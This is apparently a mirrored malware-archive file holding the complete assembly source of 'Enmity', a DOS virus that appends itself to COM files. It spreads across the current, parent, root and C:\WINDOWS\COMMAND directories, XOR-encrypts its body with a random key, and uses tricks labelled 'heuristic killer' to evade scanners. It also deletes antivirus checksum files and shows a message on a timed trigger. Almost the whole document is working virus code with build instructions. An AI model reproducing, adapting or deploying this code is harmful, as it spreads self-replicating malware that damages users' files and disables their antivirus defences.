mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
4b9382ddbc
push
491 lines
8.3 KiB
NASM
491 lines
8.3 KiB
NASM
comment #
|
|
|
|
Enmity, by Lord Natas
|
|
|
|
Properties:
|
|
|
|
*COM infection (appending, nonresident)
|
|
*antiheuristic code
|
|
*no TBSCAN flags at time of release (second generation)
|
|
*encryption (xor, random 16 bit key)
|
|
*works with microsoft COM files (the ones with the stupid checksum)
|
|
*infects all files in current directory, then in the upper directory,
|
|
then in \, then in C:\WINDOWS\COMMAND.
|
|
*preserves date, time, attributes
|
|
*doesn't infect command.com, tb*.com files, or misnamed EXE files
|
|
*removes scanner checksums
|
|
|
|
Scanning results:
|
|
|
|
FPROT(3): nothing
|
|
AVP: nothing
|
|
TBSCAN(WIN95): nothing
|
|
FINDVIRUS: nothing
|
|
DRWEB: nothing
|
|
|
|
Assemble with TASM.
|
|
MASM produces errors (at least, the version I have)
|
|
|
|
#
|
|
|
|
.model tiny
|
|
.code
|
|
|
|
jumps
|
|
|
|
org 100h
|
|
|
|
code_length equ end_virus-start
|
|
|
|
;----- fake host - a jump and infection mark
|
|
|
|
host:
|
|
db 0e9h,0,0,'66'
|
|
|
|
start:
|
|
call get_offset
|
|
|
|
;----- get the delta offset
|
|
|
|
get_offset:
|
|
pop ax ;nice and (somewhat) anti-heuristic
|
|
xchg cx,ax
|
|
sub cx,offset get_offset
|
|
xchg bp,cx
|
|
|
|
call decrypt
|
|
|
|
jmp short virus_start
|
|
mov ax,4c00h ;this shuts-up findvirus
|
|
int 21h
|
|
|
|
virus_start:
|
|
push 1a01h ;!heuristic killer!
|
|
push 100h
|
|
lea si,[bp+oldbytes]
|
|
pop di
|
|
movsw ;move 5 bytes to 0100h
|
|
movsw
|
|
movsb
|
|
|
|
;----- move the DTA to the end
|
|
|
|
lea dx,[bp+dta] ;store in dta
|
|
pop ax
|
|
dec ax ;!heuristic killer!
|
|
int 21h
|
|
|
|
;----- save our current directory
|
|
|
|
mov ah,47h
|
|
xor dl,dl
|
|
lea si,[bp+old_dir] ;store in old_dir
|
|
int 21h
|
|
|
|
;----- find *.COM files
|
|
|
|
call killer
|
|
call findfirst
|
|
|
|
find_file:
|
|
int 21h
|
|
jc try_updir ;if error jump
|
|
|
|
call infect ;else infect
|
|
|
|
find_next:
|
|
mov ah,4fh ;find next file
|
|
jmp short find_file
|
|
|
|
try_updir:
|
|
mov ah,3bh
|
|
lea dx,[bp+higher_dir] ;change dir up
|
|
int 21h
|
|
jc is_root
|
|
|
|
call killer
|
|
call findfirst
|
|
|
|
find_updir:
|
|
int 21h
|
|
jc is_root ;if none, exit
|
|
call infect ;else infect
|
|
mov ah,4fh ;find next
|
|
jmp short find_updir
|
|
|
|
is_root:
|
|
mov ah,47h
|
|
xor dl,dl
|
|
lea si,[bp+dir_chk] ;store in dir_chk
|
|
int 21h
|
|
|
|
cmp byte ptr [bp+dir_chk],0
|
|
je try_win
|
|
|
|
try_root:
|
|
mov ah,3bh
|
|
lea dx,[bp+root] ;change dir to root ('\')
|
|
int 21h
|
|
jc try_win
|
|
|
|
call killer
|
|
call findfirst
|
|
|
|
find_root:
|
|
int 21h
|
|
jc try_win ;if none, exit
|
|
call infect ;else infect
|
|
mov ah,4fh ;find next
|
|
jmp short find_root
|
|
|
|
try_win:
|
|
mov ah,3bh
|
|
lea dx,[bp+win_command] ;change dir to command
|
|
int 21h
|
|
jc done_files
|
|
|
|
call killer
|
|
call findfirst
|
|
|
|
find_win:
|
|
int 21h
|
|
jc done_files ;if none, exit
|
|
call infect ;else infect
|
|
mov ah,4fh ;find next
|
|
jmp short find_win
|
|
|
|
done_files:
|
|
mov ah,3bh ;change back to old_dir
|
|
lea dx,[bp+old_dir]
|
|
int 21h
|
|
|
|
mov ah,2ch ;get time
|
|
int 21h
|
|
|
|
cmp dx,5 ;is it time to activate?
|
|
ja fix_dta ;no? return to host
|
|
|
|
begin:
|
|
mov ax,13 ;put video in mode 13
|
|
int 10h
|
|
|
|
lea si,[bp+msg]
|
|
|
|
print_lp:
|
|
cld ;clear direction flag (left
|
|
lodsb ;to right)
|
|
or al,al ;check for text end
|
|
jz fix_1
|
|
mov ah,0eh ;write char
|
|
xor bh,bh ;page 0
|
|
mov bl,5 ;color 5 -> magenta
|
|
int 10h
|
|
jmp short print_lp
|
|
|
|
fix_1:
|
|
xor ax,ax ;wait for key
|
|
int 16h
|
|
|
|
mov ax,03h ;restore to textmode
|
|
int 10h
|
|
|
|
;----- reset DTA
|
|
|
|
fix_dta:
|
|
push 1a00h ;fix dta
|
|
mov dx,80h
|
|
pop ax
|
|
int 21h
|
|
|
|
;----- clean up
|
|
|
|
xor ax,ax
|
|
mov bx,ax
|
|
mov cx,ax
|
|
mov dx,ax
|
|
mov di,ax
|
|
mov bp,ax
|
|
mov si,0101h ;special gift for TBAV
|
|
|
|
;----- restore control to cs:0100h
|
|
|
|
dec si
|
|
push si ;put 100h on stack so virus
|
|
ret ;jumps to host
|
|
|
|
;----- check name
|
|
|
|
infect:
|
|
cmp word ptr [bp+dta+1eh+5], "DN" ;commaND
|
|
je return
|
|
|
|
cmp word ptr [bp+dta+1eh], "BT" ;TBdel
|
|
je return
|
|
|
|
mov cx,13d ;max file length
|
|
lea si,[bp+dta+1eh] ;filename in dta
|
|
compare:
|
|
lodsb ;get byte
|
|
cmp al,"." ;is it "."?
|
|
jne compare ;no, compare
|
|
cmp byte ptr [si],"C" ;is is *.C?
|
|
jne return ;no, return
|
|
|
|
;----- save attributes,time,date,size
|
|
|
|
mov cx,5 ;5 bytes
|
|
lea si,[bp+dta+15h] ;point to the dta
|
|
lea di,[bp+f_attr] ;move to f_attr
|
|
rep movsb
|
|
|
|
;----- remove attributes
|
|
|
|
mov ax,4301h
|
|
xor cx,cx ;no attribute
|
|
lea dx,[bp+dta+1eh] ;point to name in dta
|
|
int 21h
|
|
|
|
;----- open file for read/write
|
|
|
|
push 3d04h ;!heuristic killer!
|
|
lea dx,[bp+dta+1eh] ;filename in dta
|
|
pop cx
|
|
sub cx,2
|
|
xchg ax,cx
|
|
int 21h
|
|
|
|
xchg bx,ax ;put handle in bx
|
|
push 3f00h ;!heuristic killer!
|
|
|
|
;----- read 1st five bytes
|
|
|
|
mov cx,5
|
|
lea dx,[bp+oldbytes] ;store in oldbytes
|
|
pop ax
|
|
int 21h
|
|
|
|
;----- check for misnamed .EXE (fuck you microsoft) - anti-heuristic
|
|
|
|
mov ax,word ptr [bp+oldbytes]
|
|
add ax,0101h
|
|
|
|
cmp word ptr ax,'[N' ;check first 2 bytes
|
|
je close_file
|
|
|
|
cmp word ptr ax,'N['
|
|
je close_file
|
|
|
|
;----- check for infection mark
|
|
|
|
cmp word ptr [bp+oldbytes+3],'66' ;look for 66
|
|
je close_file
|
|
|
|
;----- check size - if > 60000 then close
|
|
|
|
cmp word ptr [bp+dta+1ah], 60000
|
|
ja close_file
|
|
|
|
;----- seek to eof - 7
|
|
|
|
mov ax,4202h
|
|
mov cx,-1
|
|
mov dx,-7
|
|
int 21h
|
|
|
|
;----- (eof-7)+7=eof
|
|
|
|
mov cx,7
|
|
add ax,cx
|
|
|
|
;----- calculate jump
|
|
|
|
sub ax,3
|
|
mov word ptr [bp+jump_bytes+1],ax
|
|
|
|
;----- read 7 bytes
|
|
|
|
mov ah,3fh
|
|
mov cx,7
|
|
lea dx,[bp+buffer]
|
|
int 21h
|
|
|
|
;----- add virus size to checksum
|
|
|
|
add word ptr [bp+buffer+5],code_length
|
|
|
|
;----- make new key
|
|
|
|
push 4000h
|
|
mov ah,2ch ;get time
|
|
int 21h
|
|
mov word ptr [bp+key1],dx ;use seconds + hundreths
|
|
|
|
;----- write unencrypted portion
|
|
|
|
mov cx,virus_start-start
|
|
lea dx,[bp+start]
|
|
pop ax
|
|
int 21h
|
|
|
|
;----- encrypt & move
|
|
|
|
push 4001h
|
|
mov cx,(key1-virus_start+1)/2 ;length of code
|
|
mov dx,word ptr [bp+key1] ;key
|
|
lea si,[bp+virus_start] ;source: virus start
|
|
lea di,[bp+crypt_buffr] ;destination: buffer
|
|
xor_loop2:
|
|
lodsw ;get byte from source
|
|
xor ax,dx ;xor it
|
|
stosw ;move it to destination
|
|
loop xor_loop2
|
|
|
|
;----- write encrypted shit
|
|
|
|
mov cx,key1-virus_start
|
|
lea dx,[bp+crypt_buffr]
|
|
pop ax ;!heuristic killer!
|
|
dec ax
|
|
push 4000h
|
|
int 21h
|
|
|
|
;----- write more unencrypted shit
|
|
|
|
mov cx,f_attr-key1 ;this is the decryptor and
|
|
lea dx,[bp+key1] ;other stuff that remains
|
|
pop ax ;unencrypted
|
|
int 21h
|
|
|
|
;----- seek to start of file
|
|
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
cwd
|
|
push 4000h
|
|
int 21h
|
|
|
|
;----- write the jump
|
|
|
|
mov cx,5
|
|
lea dx,[bp+jump_bytes]
|
|
pop ax ;!heuristic killer!
|
|
int 21h
|
|
close_file:
|
|
|
|
;----- restore date/time
|
|
|
|
push 5701h
|
|
mov cx,word ptr [bp+f_time]
|
|
mov dx,word ptr [bp+f_date]
|
|
pop ax ;!heuristic killer!
|
|
int 21h
|
|
|
|
;----- close file
|
|
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
;----- restore attributes
|
|
|
|
mov ax,4302h
|
|
xor ch,ch
|
|
mov cl,byte ptr [bp+f_attr] ;old attributes
|
|
lea dx,[bp+dta+1eh] ;filename in dta
|
|
int 21h
|
|
return:
|
|
ret
|
|
|
|
;----- checksum deletion
|
|
|
|
killer:
|
|
|
|
lea dx,[bp+tbsum] ;pont to name
|
|
call kill_bad_file ;kill it
|
|
|
|
lea dx,[bp+pcsum1]
|
|
call kill_bad_file
|
|
|
|
lea dx,[bp+pcsum2]
|
|
call kill_bad_file
|
|
|
|
lea dx,[bp+ivsum]
|
|
call kill_bad_file
|
|
|
|
ret
|
|
|
|
;----- delete bad files - input: DS:DX = to kill
|
|
|
|
kill_bad_file:
|
|
mov ax,4301h
|
|
xor cx,cx ;no attribute
|
|
int 21h
|
|
|
|
mov ah,41h ;delete
|
|
int 21h
|
|
clc ;clear carry
|
|
ret
|
|
|
|
findfirst:
|
|
mov ah,4eh
|
|
mov cx,0007h ;all attributes
|
|
lea dx,[bp+comspec] ;comspec = filemask
|
|
ret
|
|
|
|
;----- data area 1
|
|
|
|
msg db 'Enmity',13,10,0
|
|
db 'by Lord Natas',0
|
|
|
|
comspec db '*.*OM',0 ;file search mask
|
|
win_command db 'C:\WINDOWS\COMMAND',0 ;target directory
|
|
root db '\',0 ;another target
|
|
higher_dir db '..',0 ;yet another
|
|
tbsum db 'ANTI-VIR.DAT',0 ;checksums to delete
|
|
pcsum1 db 'CHKLIST.MS',0
|
|
pcsum2 db 'CHKLIST.CPS',0
|
|
ivsum db 'IVB.NTZ',0
|
|
oldbytes db 90h,90h,90h,0cdh,20h ;host bytes
|
|
jump_bytes db 0e9h,0,0,'66' ;the jump to write
|
|
key1 dw ? ;encryption key
|
|
|
|
;----- simple xor encryption, TBAV screwing loop
|
|
|
|
decrypt:
|
|
mov cx,(key1-virus_start+1)/2 ;code length
|
|
mov dx,word ptr [bp+key1] ;key
|
|
lea si,[bp+virus_start] ;source of code
|
|
mov di,si ;to decrypt
|
|
xor_loop:
|
|
lodsw
|
|
jmp short fake2
|
|
fake1:
|
|
stosw
|
|
jmp short fake3
|
|
fake2:
|
|
xor ax,dx
|
|
jmp short fake1
|
|
fake3:
|
|
loop xor_loop
|
|
ret
|
|
|
|
;----- data area 2 - stuff for microsoft's lame checksums
|
|
|
|
buffer db 5 dup (?) ;buffer = eof-2
|
|
size_checksum db 2 dup (90h) ;checksum for microsoft coms
|
|
|
|
end_virus:
|
|
|
|
;----- this is not written to disk, thus saving much space
|
|
|
|
f_attr db ? ;file attribute
|
|
f_time dw ? ;file time
|
|
f_date dw ? ;file date
|
|
old_dir db 64 dup (?) ;old directory name
|
|
dta db 48 dup (?) ;DTA storage
|
|
dir_chk db 64 dup (?) ;for dir checking
|
|
|
|
;----- temp buffer for encryption
|
|
|
|
crypt_buffr db end_virus - virus_start dup (?)
|
|
end host
|